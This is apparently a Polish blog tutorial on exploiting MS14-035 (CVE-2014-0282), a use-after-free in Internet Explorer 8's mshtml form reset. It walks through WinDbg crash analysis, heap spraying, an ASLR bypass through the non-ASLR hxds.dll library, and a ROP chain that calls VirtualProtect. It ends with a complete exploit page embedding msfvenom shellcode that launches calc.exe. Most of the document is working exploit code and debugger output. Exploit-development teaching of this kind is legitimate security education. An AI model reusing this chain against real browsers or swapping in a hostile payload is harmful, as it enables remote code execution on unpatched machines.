Wstęp
Środowisko wykorzystanie w poniższym opisie to: Windows 7 (32-bit) z Internet Explorer 8, Debugging Tools for Windows 6.12.633, Immunity Debugger, skrypty mona.py oraz msfvenom.
Zaczynamy od uruchomienia [1] Proof of Concept generującego błąd access violation.
W celu uzyskania większej ilości informacji o błędzie musimy:
- Ustawić Windows Debugger jako domyślnie uruchamiany przy wywołaniu błędu (tzw. postmortem debugger) – polecenie windbg –I.
- Ustawić dwie flagi dla aplikacji Internet Explorer – polecenie gflags.exe /i iexplore.exe +hpe +ust (UST – user mode stack trace pozwoli nam prześledzić zdarzenia tuż przed wystąpieniem błędu, HPE – page heap powiadomi nas w momencie próby dostępu do zwolnionego obszaru pamięci).
- Należy również włączyć filtr w windbg dotyczący obsługi błędów typu access violation.
Windbg przejął kontrolę na obsługą błędu access violation. Jedna z metod modułu mshtml.dll (GetLookasidePtr) próbowała uzyskać dostęp do obszaru pamięci pod adresem 0x7664fbc. Adres ten jest wyliczany z wartości przechowywanej w rejestrze esi, która w tym przypadku wynosi 0x7664fa0. Za pomocą komendy kv wyświetlamy ramki stosu prowadzące do miejsca gdzie wystąpił błąd.
0:005> kv
ChildEBP RetAddr Args to Child
0430ed80 6757b90e 08adcfd0 00001200 67668b24 mshtml!CElement::GetLookasidePtr+0x7 (FPO: [0,0,0])
0430eda4 672baed1 0629efb0 08adcfd0 672bae9e mshtml!CFormElement::DoReset+0x9c
0430edc0 6736235c 0629efb0 08adcfd0 060cefd8 mshtml!Method_void_void+0x75
0430ee34 6736c75a 0629efb0 000003f2 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
0430ee84 6738d0cb 0629efb0 000003f2 00000001 mshtml!CElement::ContextInvokeEx+0x9d
0430eec0 67313104 0629efb0 000003f2 00000001 mshtml!CFormElement::VersionedInvokeEx+0xf0
0430ef14 6ab2a22a 06066fd8 000003f2 00000001 mshtml!PlainInvokeEx+0xeb
0430ef50 6ab2a175 0702ed10 000003f2 00000409 jscript!IDispatchExInvokeEx2+0x104
0430ef8c 6ab2a3f6 0702ed10 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
…
Metoda, która odwołuje się do tego adresu to CElement::GetLookasidePtr. Metodą bezpośrednio wywołującą GetLookasidePtr jest CFormElement::DoReset. Jest ona wywoływana gdy resetowana jest wartość elementów formularza za pomocą metody javascript Reset().
Metoda CFormElement :: DoReset wykorzystywana jest w obiektach typu CElement. Jak okaże się później metoda odpowiadająca za tworzenie obiektów tego typu to CTextArea::CreateElement. Obiekt alokowany jest na domyślnej stercie a jego rozmiar to 0x60 (dla IE 8). Poprawka Microsoft między innymi alokuje obiekty tego typu na oddzielnej stercie - tzw. isolated heap (sterta dla krytycznych obiektów Internet Explorer takich jak CElement, CSVGElement, CMarkup czy CTreeNode).
Metoda CFormElement::DoReset po kolei sprawdza wszystkie elementy w istniejącym formularzu i wywołuje dla każdej z nich DoReset(). Dla przykładu metoda CInput::DoReset() dla elementów input czy CRichtext::DoReset dla textarea. W tym samym czasie inne wewnętrzne wywołanie DoReset może „zwolnić” element w formularzu (np. poprzez wyczyszczenie elementów innerHTML form).
W skrypcie PoC wywołującym błąd mamy element testFM, który jest resetowany w funkcji changer().
Wspomnieliśmy, że błąd jest wywoływany w momencie gdy funkcja GetLookasidePtr próbuje uzyskać dostęp do ESI+0x1Ch. ESI zazwyczaj jest wykorzystywany jako wskaźnik do obiektów. Komenda heap –p –a esi pozwoli nam sprawdzić szczegóły dot. alokowanych obiektów na stercie.
0:005> !heap -p -a esi
address 07664fa0 found in
_DPH_HEAP_ROOT @ 1f1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
7650bc8: 7664000 2000
703990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77545674 ntdll!RtlDebugFreeHeap+0x0000002f
77507aca ntdll!RtlpFreeHeap+0x0000005d
774d2d68 ntdll!RtlFreeHeap+0x00000142
7594f1ac kernel32!HeapFree+0x00000014
6717daa1 mshtml!CTextArea::`scalar deleting destructor'+0x0000002b
672f7dd0 mshtml!CBase::SubRelease+0x00000022
67350fdf mshtml!CElement::PrivateExitTree+0x00000011
…
Możemy zauważyć, że przed wywołaniem funkcji FreeHeap dostęp do pamięci która była zwolniona miała funkcja mshtml!CTextArea. Oznacza to, że zwolniony obiekt to CTextArea. W skrypcie PoC mamy dwa takie obiekty w formularzu testfm.
Wyświetlając wszystkie metody klasy CTextArea za pomocą narzędzia IDA widzimy, że metoda CreateElement(), odpowiada m.in. za alokacje obiektu.
W celu wykorzystania błędy UaF do przejęcia kontroli nad zdalnym systemem istotnym elementem jest określenie rozmiaru alokowanego obiektu. Na powyższym zrzucie z IDA widzimy, że jest to wartość 0x60 (To samo możemy uzyskać analizując CreateElement z poziomu windbg).
0:005> u mshtml!CTextArea::CreateElement
mshtml!CTextArea::CreateElement:
6715cde4 8bff mov edi,edi
6715cde6 55 push ebp
6715cde7 8bec mov ebp,esp
6715cde9 56 push esi
6715cdea 6a60 push 60h
6715cdec 6a08 push 8
6715cdee ff3518446667 push dword ptr [mshtml!g_hProcessHeap (67664418)]
6715cdf4 ff15c4121367 call dword ptr [mshtml!_imp__HeapAlloc (671312c4)]
Dla przypomnienia argumenty przekazywane do HeapAlloc() to:
push 60h ; dwBytes
push 8 ; dwFlags
push _g_hProcessHeap ; hHeap
call ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)
gdzie dwBytes określa rozmiar przydzielanej pamięci dla obiektu CTextArea.
W tym momencie możemy już wyłączyć flagi dla aplikacji Internet Explorer.
Use after Free
Wykorzystując wbudowane w przeglądarkę Internet Explorer narzędzia programistyczne (debugger) oraz dwa poniższe breakpoint-y warunkowe dla windbg jesteśmy w stanie dokładnie prześledzić moment alokacji, zwalniania i ponownego dostępu do zwolnionego obiektu.
Po załadowaniu skryptu do przeglądarki i uruchomieniu narzędzi programistycznych ustawiamy breakpoint-y na funkcji changer().
Z poziomu windbg dodajemy dwa breakpoint-y warunkowe. Pierwszy ma zadziałać przy wyjściu z funkcji RtlAllocateHeap. Dla ograniczenia ilości wyników ustawiamy warunek, że alokowany obszar ma wynosić 0x60. Dodatkowo chcemy aby automatycznie wskazał adres pamięci zarezerwowany dla obiektu.
bp ntdll!RtlAllocateHeap+0xe6 "r $t0=esp+0xc;.if (poi(@$t0) = 0x60) {.printf \"RtlAllocateHeap hHEAP 0x%x, \", poi(@esp+4);.printf \"Size: 0x%x, \", poi(@$t0);.printf \"Allocated chunk at 0x%x\", eax;.echo;ln poi(@esp);.echo};g"
Proszę pamiętać, że offset dla RtlAllocateHeap jest różny w zależności do wersji i service pack systemu Windows.
Drugi breakpoint warunkowy dotyczy zwalniania obszaru pamięci. Przy każdym wywołaniu funkcji HeapFree będziemy wyświetlali między innymi adres zwalnianej pamięci.
bp kernel32!HeapFree ".printf \"HeapFree hHeap 0x%x, \", poi(@esp+4);.printf \"Dealloc chunk at 0x%x, \", poi(@esp+0xc);.echo;ln poi(@esp);.echo;g"
Możemy zauważyć, że w obu w/w przypadkach wyświetlamy wartości ze stosu.
Teraz uruchamiając skrypt i „śledząc” go krok po kroku w oknie windbg będą pojawiały się informacje dotyczące alokowanych i zwalnianych obiektów.
Zaalokowanie obiektu pod adresem 0x2bc9c0:
RtlAllocateHeap hHEAP 0x270000, Size: 0x60, Allocate chunk at 0x2bc9c0
(68c8cde4) mshtml!CTextArea::CreateElement+0x16 | (68c8ce38) mshtml!CTextArea::`vftable'
Funkcja zwalniająca przestrzeń pamięci na stercie:
HeapFree hHeap 0x270000, Dealloc chunk at 0x2bc9c0,
(68cada76) mshtml!CTextArea::`scalar deleting destructor'+0x2b | (68cadaae) mshtml!CRichtext::~CRichtext
Próba dostępu do zwolnionego obszaru pamięci 0x2bc9c0:
(124.3c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000003 ebx=003217d0 ecx=002bc9c0 edx=00000004 esi=002bc9c0 edi=00000002
eip=690ab956 esp=0209ec00 ebp=0209ec1c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CFormElement::DoReset+0xe4:
690ab956 ff90c8010000 call dword ptr [eax+1C8h] ds:0023:000001cb=????????
Wiemy już, że zidentyfikowany błąd jest typu UAF. W celu wykorzystania tego typu błędów wymagane jest wykonanie dwóch kroków.
Pierwszy krok to zwolnienie zasobów a drugi to ponowne zarezerwowanie zwolnionego obszaru pamięci. W tym miejscu w pamięci musimy umieścić dane, które pozwolą nam na uruchomienie naszego kodu. Realokacja poprzednio zwolnionego miejsca w pamięci zależy od implementacji zarządzania stertą w konkretnej wersji systemu.
My musimy w pamięci umieścić dużą ilość obiektów (aby zwiększyć prawdopodobieństwo uzyskania dostępu do tego samego obszaru), których rozmiar jest taki sam jak rozmiar zwolnionego obszaru – czyli 0x60. Wykorzystamy fragment kodu javascript z [2] w celu utworzenia tablicy 100 obiektów img. Po wyczyszczeniu formularza wszystkie tytuły obiektów będą miały zapisany ciąg znaków typu string o rozmiarze zwolnionego obiektu. Wykorzystanie obiektów BSTR zawierających nasz string jest standardowym mechanizmem umieszczania danych przez nas kontrolowanych na stercie. Domyślnie ciągi znaków umieszczane są w formacie UNICODE. W celu poprawnego zapisu wykorzystujemy funkcję unescape() z formatowaniem %u. Poniżej właściwy kod:
<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
<script>
var startfl=false;
function changer()
{
if (startfl)
{
var c = new Array(100);
for (var a = 0; a < 100; a++) {
c[a] = document.createElement('img'); }
document.getElementById("testfm").innerHTML = "";
var b1 = "%u4141%u4141";
for (var a = 4; a < 94; a += 2)
{
b1 += "%u4242";
}
b = unescape(b1)
for (var a = 0; a < c.length; a++) {
c[a].title = b;
}
}
}
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
</script>
</body>
</html>
Uruchamiamy powyższy skrypt i za pomocą warunkowych breakpoint-ów monitorujemy funkcje odpowiedzialne za alokacje i zwalnianie pamięci.
Pierwsza alokacja:
RtlAllocateHeap hHEAP 0xc0000, Size: 0x60, Allocate chunk at 0x10ca28
(68c8cde4) mshtml!CTextArea::CreateElement+0x16 | (68c8ce38) mshtml!CTextArea::`vftable'
Zwolnienie obiektu:
HeapFree hHeap 0xc0000, Dealloc chunk at 0x10ca28,
(68cada76) mshtml!CTextArea::`scalar deleting destructor'+0x2b | (68cadaae) mshtml!CRichtext::~CRichtext
Ponowna alokacja tym razem przez obiekt string o wielkości dokładnie 0x60. Alokowany jest w tym samym miejscu w pamięci:
RtlAllocateHeap hHEAP 0xc0000, Size: 0x60, Allocate chunk at 0x10ca28
(68e44c9f) mshtml!_HeapAllocString+0x51 | (68e44d1a) mshtml!_tcsicmp
Próba dostępu do obiektu przez DoReset():
(d1c.e4c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0013ebd0 ecx=0010ca28 edx=00000004 esi=0010ca28 edi=00000002
eip=690ab956 esp=020eef38 ebp=020eef54 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CFormElement::DoReset+0xe4:
690ab956 ff90c8010000 call dword ptr [eax+1C8h] ds:0023:41414309=????????
Virtual Table
W rejestrze eax mamy nasze dane (zmienna b1 z PoC). Co istotnie DoReset() wywołuje funkcję spod adresu EAX+0x1C8 dlatego że DoReset() odwołuje się do funkcji wirtualnej tablicy. Ponieważ zamieniamy ją na obiekt innego typu zamiast wirtualnej funkcji z „vtable” będzie wskazanie do naszego adresu. Funkcje wskazywane w tablicy są związane z tworzonymi obiektami i mechanizmami dziedziczenia w językach programowania obiektowych.
Spróbujemy prześledzić jeszcze jedno wywołanie błędu:
Alokowanie obiektu:
RtlAllocateHeap hHEAP 0x310000, Size: 0x60, Allocate chunk at 0x35abe8
(67dfcde4) mshtml!CTextArea::CreateElement+0x16 | (67dfce38) mshtml!CTextArea::`vftable'
Odwołanie z DoReset do funkcji z vtable:
Breakpoint 1 hit
eax=67dfce38 ebx=0034d590 ecx=0035abe8 edx=00000004 esi=0035abe8 edi=00000002
eip=6821b956 esp=01faef30 ebp=01faef4c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CFormElement::DoReset+0xe4:
6821b956 ff90c8010000 call dword ptr [eax+1C8h] ds:0023:67dfd000={mshtml!CRichtext::DoReset (681f9193)}
Wyświetlamy informacje o obiekcie umieszczonym na stercie pod adresem z ESI. Debugger informuje nas że jest to CTextArea i bezpośrednio pod tym adresem znajduje się virtual function table.
0:005> !heap -p -a 0035abe8
address 0035abe8 found in
_HEAP @ 310000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0035abe0 000d 0000 [00] 0035abe8 00060 - (busy)
mshtml!CTextArea::`vftable'
Wskaźnik do funkcji to 0x67dfce38:
0:005> dd 0035abe8
0035abe8 67dfce38 00000001 00000008 0038cac8
0035abe8 00000000 0034d2d0 00000065 00016200
0035ac08 00000020 003308d0 00000000 00000000
0035ac18 00000000 00000100 00000000 00000000
0035ac28 00000001 00000000 00000000 00000000
0035ac38 00000000 00000000 00000000 00000000
0035ac48 1d2898e3 88000000 00000000 00000004
0035ac58 00000000 00000000 00000002 00000000
0:005> ln 67dfce38
(67dfce38) mshtml!CTextArea::`vftable' | (67e1d0c0) mshtml!`string'
Exact matches:
mshtml!CTextArea::`vftable' = <no type information>
Po zwolnieniu tego obiektu i ponownym zarezerwowaniu pamięci pod adresem 0x35abe8 mamy nasze dane:
0:005> dd 0035abe8
0035abe8 41414141 42424242 42424242 42424242
0035abe8 42424242 42424242 42424242 42424242
0035ac08 42424242 42424242 42424242 42424242
…
Oznacza to, że najprawdopodobniej możemy przejąć kontrolę nad przeglądarką i wykonać wskazany przez nas kod.
Heap Spraying
W celu wykonania naszego kodu musimy go najpierw załadować do pamięci. W przypadku przeglądarek (ale nie tylko) umożliwia nam to mechanizm tzw. heap spraying. Czyli zarezerwowanie dużej ilości pamięci (i umieszczenie naszego kodu), w tym miejsca w pamięci do którego możemy się odwołać i znamy adres tego miejsca podczas złośliwego kodu. Najlepszym dokumentem wprowadzającym do tej techniki jest [3] i [4]. Często wykorzystywanym „uniwersalnym” adresem jest 0x0c0c0c0c. Użyjemy poniższego skryptu [5] do wypełnienia pamięci blokami danych zawierającymi nasz kod wykonywalny. Skrypt dodajemy na początek pliku PoC.
<script>
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 block
Padding = '';
NopSlide = '';
var Shellcode = unescape(
"%u4141%u4141" + "");
for (p = 0; p < padding_size; p++){
Padding += unescape('%u4141');}
for (c = 0; c < block_size; c++){
if (c == 226){
NopSlide += unescape('%u4242%u4242'); (stack pivot)
c++;
}else
{
NopSlide += unescape('%u9090');
}
}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
</script>
W drugim skrypcie (wywołującym błąd) zmieniamy zawartość zmiennej b1 na:
var b1 = unescape("%u0c0c%u0c0c");
Po uruchomieniu w przeglądarce IE powinniśmy otrzymać podobny wynik. W rejestrze EAX jest wpisany adres 0x0c0c0c0c a EIP próbuje uzyskać dostęp do adresu 0x42424242.
DEP i ROP
Ze względu na włączony mechanizm Data Execution Protection (DEP) w systemach Windows nie możemy wykonać naszego kodu umieszczonego na stercie (obszar pamięci nie ma ustawionej flagi execute). Technika która umożliwia ominięcie tego mechanizmu to Return Oriented Programming (ROP). W skrócie polega ona na wykorzystaniu kodu wykonywalnego, który już jest w pamięci komputera – czyli przede wszystkim bibliotek dll. Każda funkcja w kodzie wykonywalnym kończy się instrukcją RET, która pobiera ze stosu adres kolejnej instrukcji do wykonania. Wyszukując takie fragmentu funkcji (od jednej do kilku instrukcji poprzedzających RET) nazywane gadżetami ROP można zbudować kod wykonywalny, który wykona jakąś konkretną operację.
W celu wykorzystania techniki ROP musimy znaleźć ciąg odpowiednich gadżetów ROP oraz stworzyć dla nich właściwy stos. Tak budowany stos za pomocą techniki heap spraying ładujemy do pamięci. Następnie musimy ustawić rejestr ESP (wskazuje górę stosu) na miejsce w pamięci gdzie będzie nowy stos. Jest to działanie nazywane tzw. stack pivot. Najczęściej do tego celu wykorzystywaną instrukcją jest XCHG EAX, ESP.
My kontrolujemy EAX, które na powyższym zrzucie z windbg wskazuje na 0x0c0c0c0. To będzie nasza góra stosu.
ASLR
Kolejny problem jaki musimy rozwiązać to „ominięcie” mechanizmu Address Space Layout Randomization (ASLR). Obecnie prawie wszystkie aplikacje i jej komponenty (np. biblioteki) kompilowane są z obsługą ASLR co powoduje, że przy każdym uruchomieniu aplikacji zmieniają się adresy do których ładowana jest aplikacja, jej komponenty a także inne struktury danych związane z procesem aplikacji. Obecnie możliwości ominięcia ASLR są ściśle powiązane z konkretną podatnością i środowiskiem w którym działa podatna aplikacja. Najskuteczniejszą (najbardziej uniwersalną) metodą ominięcia ASLR jest identyfikacja i wykorzystanie błędów związanych z wyciekiem danych. Mając adres do konkretnego obiektu możemy wyliczyć przesunięcie do innych obiektów które nas interesują. Nie zawsze wycieki pamięci są możliwe do identyfikacji.
My wykorzystamy inny mechanizm „ominięcia” ASLR, który jest łatwy do implementacji ale dodaje kolejny warunek konieczny do spełnienia przy próbie ataku. Wykorzystamy bibliotekę, która nie jest skompilowana ze wsparciem dla ASLR. Biblioteka hxds.dll instalowana jest razem z pakietem Microsoft Office 2007/2010. Nie jest ona ładowana domyślnie do przestrzeni adresowej przeglądarki Internet Explorer ale nie jest to problem. Dodajemy do naszego pliku PoC kolejny skrypt:
<SCRIPT language="JavaScript">
location.href = 'ms-help:'
</SCRIPT>
Po uruchomieniu skryptu do pamięci ładowana jest biblioteka – co widoczne jest na zrzucie ekranu z Process Explorer-a.
Budowa payload
Podsumowując to co napisaliśmy powyżej. ASLR ominiemy wykorzystując znane adresy w bibliotece hxds.dll. Za pomocą gadżetów ROP ominiemy mechanizm DEP i będziemy mogli wykonać złośliwy kod. Ponieważ tworzenie kodu z gadżetów jest czasochłonne ograniczmy się do minimum i tej techniku użyjemy wyłącznie do zmiany uprawnień (za pomocą funkcji VirtualProtect) dla strony która zawiera załadowany przez nas kod. To pozwoli na wykonanie kolejnej części payload zawierającej shellcode.
Musimy teraz skonstruować payload, który będzie:
- Zmieniał adres stosu na 0x0c0c0c0c (instrukcja XCHG) – tzw. stack pivot
- Wskaże łańcuch gadżetów ROP wywołujący funkcje VirtualProtect() zmieniającej uprawnienia do strony (ustawiającą między innym Page_execute).
- Zawierał shellcode uruchamiający naszą komendę (np. calc.exe).
0x51bd28df : # XCHG EAX,ESP # RETN ** [hxds.dll] ** | {PAGE_EXECUTE_READ}
W naszym skrypcie modyfikujemy poniższą linie z:
…
var Shellcode = unescape("%u4141%u4141" + "");
…
NopSlide += unescape('%u4242%u4242'); (stack pivot)
...
na
…
var Shellcode = unescape("%u4444%u4444" + "");
…
NopSlide += unescape('%u28df%u51bd'); (stack pivot z 0x51bd28df)
...
Po ponownym uruchomieniu otrzymujemy kolejny błąd ale możemy zauważyć, że ESP wskazuje na 0x0c0c0c10 a EIP zawiera wartość 0x44444444.
Możemy teraz zacząć budować końcowy payload. W pliku rop_chains.txt znajdują się wygenerowane automatycznie gadżety ROP. Nas interesuje wersja javascript dla funkcji VirtualProtect(). Skrypt mona.py wygenerował pełen łańcuch ROP. Czasami zdarza się, że brakuje kilku wartości i wtedy sami musimy uzupełniać łańcuch wyszukując odpowiednie gadżety ROP.
rop_gadgets = unescape(
"%ubc0f%u51bf" + // 0x51bfbc0f : ,# POP ESI # RETN [hxds.dll]
"%u1158%u51bd" + // 0x51bd1158 : ,# ptr to &VirtualProtect() [IAT hxds.dll]
"%u2d2e%u51bd" + // 0x51bd2d2e : ,# MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll]
"%u9987%u51c3" + // 0x51c39987 : ,# XCHG EAX,ESI # RETN [hxds.dll]
"%u9613%u51bd" + // 0x51bd9613 : ,# POP EBP # RETN [hxds.dll]
"%ub7ef%u51c4" + // 0x51c4b7ef : ,# & jmp esp [hxds.dll]
"%u26dd%u51bd" + // 0x51bd26dd : ,# POP EBX # RETN [hxds.dll]
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
"%ua969%u51bf" + // 0x51bfa969 : ,# POP EDX # RETN [hxds.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
"%u5863%u51c3" + // 0x51c35863 : ,# POP ECX # RETN [hxds.dll]
"%u0f0f%u51c6" + // 0x51c60f0f : ,# &Writable location [hxds.dll]
"%u41ad%u51bd" + // 0x51bd41ad : ,# POP EDI # RETN [hxds.dll]
"%u5c46%u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]
"%uc8b6%u51be" + // 0x51bec8b6 : ,# POP EAX # RETN [hxds.dll]
"%u9090%u9090" + // 0x90909090 : ,# nop
"%ua4ec%u51c0" + // 0x51c0a4ec : ,# PUSHAD # RETN [hxds.dll]
""); // :
Dodając powyższy fragment do zmiennej shellcode musimy pamiętać o dokładnym umieszczeniu adresu do instrukcji zmieniającej wskaźnik do stosu. Oznacza to, że musimy wyliczyć miejsce gdzie dokładnie w tworzonych blokach pamięci umieścić ten adres. Jest to związane z tym fragmentem funkcji DoReset():
call dword ptr [eax+1C8h] //w eax będzie 0x0c0c0c0c
Blok zawiera 0x1000 bajtów. Jego struktura jest następująca Padding + Shellcode + NopSlide. Dlatego przy rozbudowywaniu shellcode musimy uwzględniać fragment NopSlide w którym umieszczony jest adres do instrukcji zmieniającej stos (zmienna c).
Sprawdzamy czy funkcja VirtualProtect() działa prawidłowo ustawiając breakpoint na niej (w bibliotece kernel32.dll). Stos w chwili wywołania funkcji VirtualProtect() powinien wyglądać tak:
Ostatni wykonany gadżet ROP z adresu (0x51c4b7ef) z biblioteki hxds zawiera instrukcje jmp esp gdzie ESP wskazuje na adres 0x0c0c0c4c.
Pozostaje nam tylko umieścić shellcode, który już bez problemów zostanie wykonany gdyż fragment pamięci ma już ustawione flagi Read, Write oraz upragnioną Execute.
Za pomocą skryptu msfvenom generujemy shellcode uruchamiający program calc.exe.
Dodajemy go do zmiennej shellcode i modyfikujemy zmienną C.
Poniżej znajduje się pełny kod exploit-a.
<html>
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>
<SCRIPT language="JavaScript">
location.href = 'ms-help:'
</SCRIPT>
<script>
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 block
Padding = '';
NopSlide = '';
var Shellcode = unescape(
“%ubc0f%u51bf" + // 0x51bfbc0f : ,# POP ESI # RETN [hxds.dll]
"%u1158%u51bd" + // 0x51bd1158 : ,# ptr to &VirtualProtect() [IAT hxds.dll]
"%u2d2e%u51bd" + // 0x51bd2d2e : ,# MOV EAX, PTR DS:[ESI]#RETN[hxds.dll]
"%u9987%u51c3" + // 0x51c39987 : ,# XCHG EAX,ESI # RETN [hxds.dll]
"%u9613%u51bd" + // 0x51bd9613 : ,# POP EBP # RETN [hxds.dll]
"%ub7ef%u51c4" + // 0x51c4b7ef : ,# & jmp esp [hxds.dll]
"%u26dd%u51bd" + // 0x51bd26dd : ,# POP EBX # RETN [hxds.dll]
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
"%ua969%u51bf" + // 0x51bfa969 : ,# POP EDX # RETN [hxds.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
"%u5863%u51c3" + // 0x51c35863 : ,# POP ECX # RETN [hxds.dll]
"%u0f0f%u51c6" + // 0x51c60f0f : ,# &Writable location [hxds.dll]
"%u41ad%u51bd" + // 0x51bd41ad : ,# POP EDI # RETN [hxds.dll]
"%u5c46%u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]
"%uc8b6%u51be" + // 0x51bec8b6 : ,# POP EAX # RETN [hxds.dll]
"%u9090%u9090" + // 0x90909090 : ,# nop
"%ua4ec%u51c0" + // 0x51c0a4ec : ,# PUSHAD # RETN [hxds.dll]
"%ue8fc%u0082%u0000%u8960" + //shellcode wygeneroway za pomocą msfvenom.
"%u31e5%u64c0%u508b%u8b30" +
"%u0c52%u528b%u8b14%u2872" +
"%ub70f%u264a%uff31%u3cac" +
"%u7c61%u2c02%uc120%u0dcf" +
"%uc701%uf2e2%u5752%u528b" +
"%u8b10%u3c4a%u4c8b%u7811" +
"%u48e3%ud101%u8b51%u2059" +
"%ud301%u498b%ue318%u493a" +
"%u348b%u018b%u31d6%uacff" +
"%ucfc1%u010d%u38c7%u75e0" +
"%u03f6%uf87d%u7d3b%u7524" +
"%u58e4%u588b%u0124%u66d3" +
"%u0c8b%u8b4b%u1c58%ud301" +
"%u048b%u018b%u89d0%u2444" +
"%u5b24%u615b%u5a59%uff51" +
"%u5fe0%u5a5f%u128b%u8deb" +
"%u6a5d%u8d01%ub285%u0000" +
"%u5000%u3168%u6f8b%uff87" +
"%ubbd5%ub5f0%u56a2%ua668" +
"%ubd95%uff9d%u3cd5%u7c06" +
"%u800a%ue0fb%u0575%u47bb" +
"%u7213%u6a6f%u5300%ud5ff" +
"%u6163%u636c%u652e%u6578" +
"%u4100" +
"");
for (p = 0; p < padding_size; p++){
Padding += unescape('%u4141');}
for (c = 0; c < block_size; c++){
//0x1c8 = 456 / 2 = 228 – (34 na Rop chain) - (97 na payload z venom) = 97
if (c == 97){
NopSlide += unescape('%u28df%u51bd');
c++;
}else
{
NopSlide += unescape('%u9090');
}
}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
</script>
<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>
<script>
var startfl=false;
function changer() {
// Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element
if (startfl) {
var c = new Array(100);
for (var a = 0; a < 100; a++)
{
c[a] = document.createElement('img');
}
document.getElementById("testfm").innerHTML = "";
var b1 = unescape("%u0c0c%u0c0c");
for (var a = 4; a < 94; a += 2)
{
b1 += "%u4242";
}
b = unescape(b1)
for (var a = 0; a < c.length; a++)
{
c[a].title = b;
}
}
}
document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call
</script>
</body>
</html>
Poniższy zrzut ekranu przedstawia wynik naszych działań:
Źródła:
[2] NCC
Group, Exploiting CVE-2014-0282 https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/12/cve-2014-0282pdf/
Brak komentarzy:
Prześlij komentarz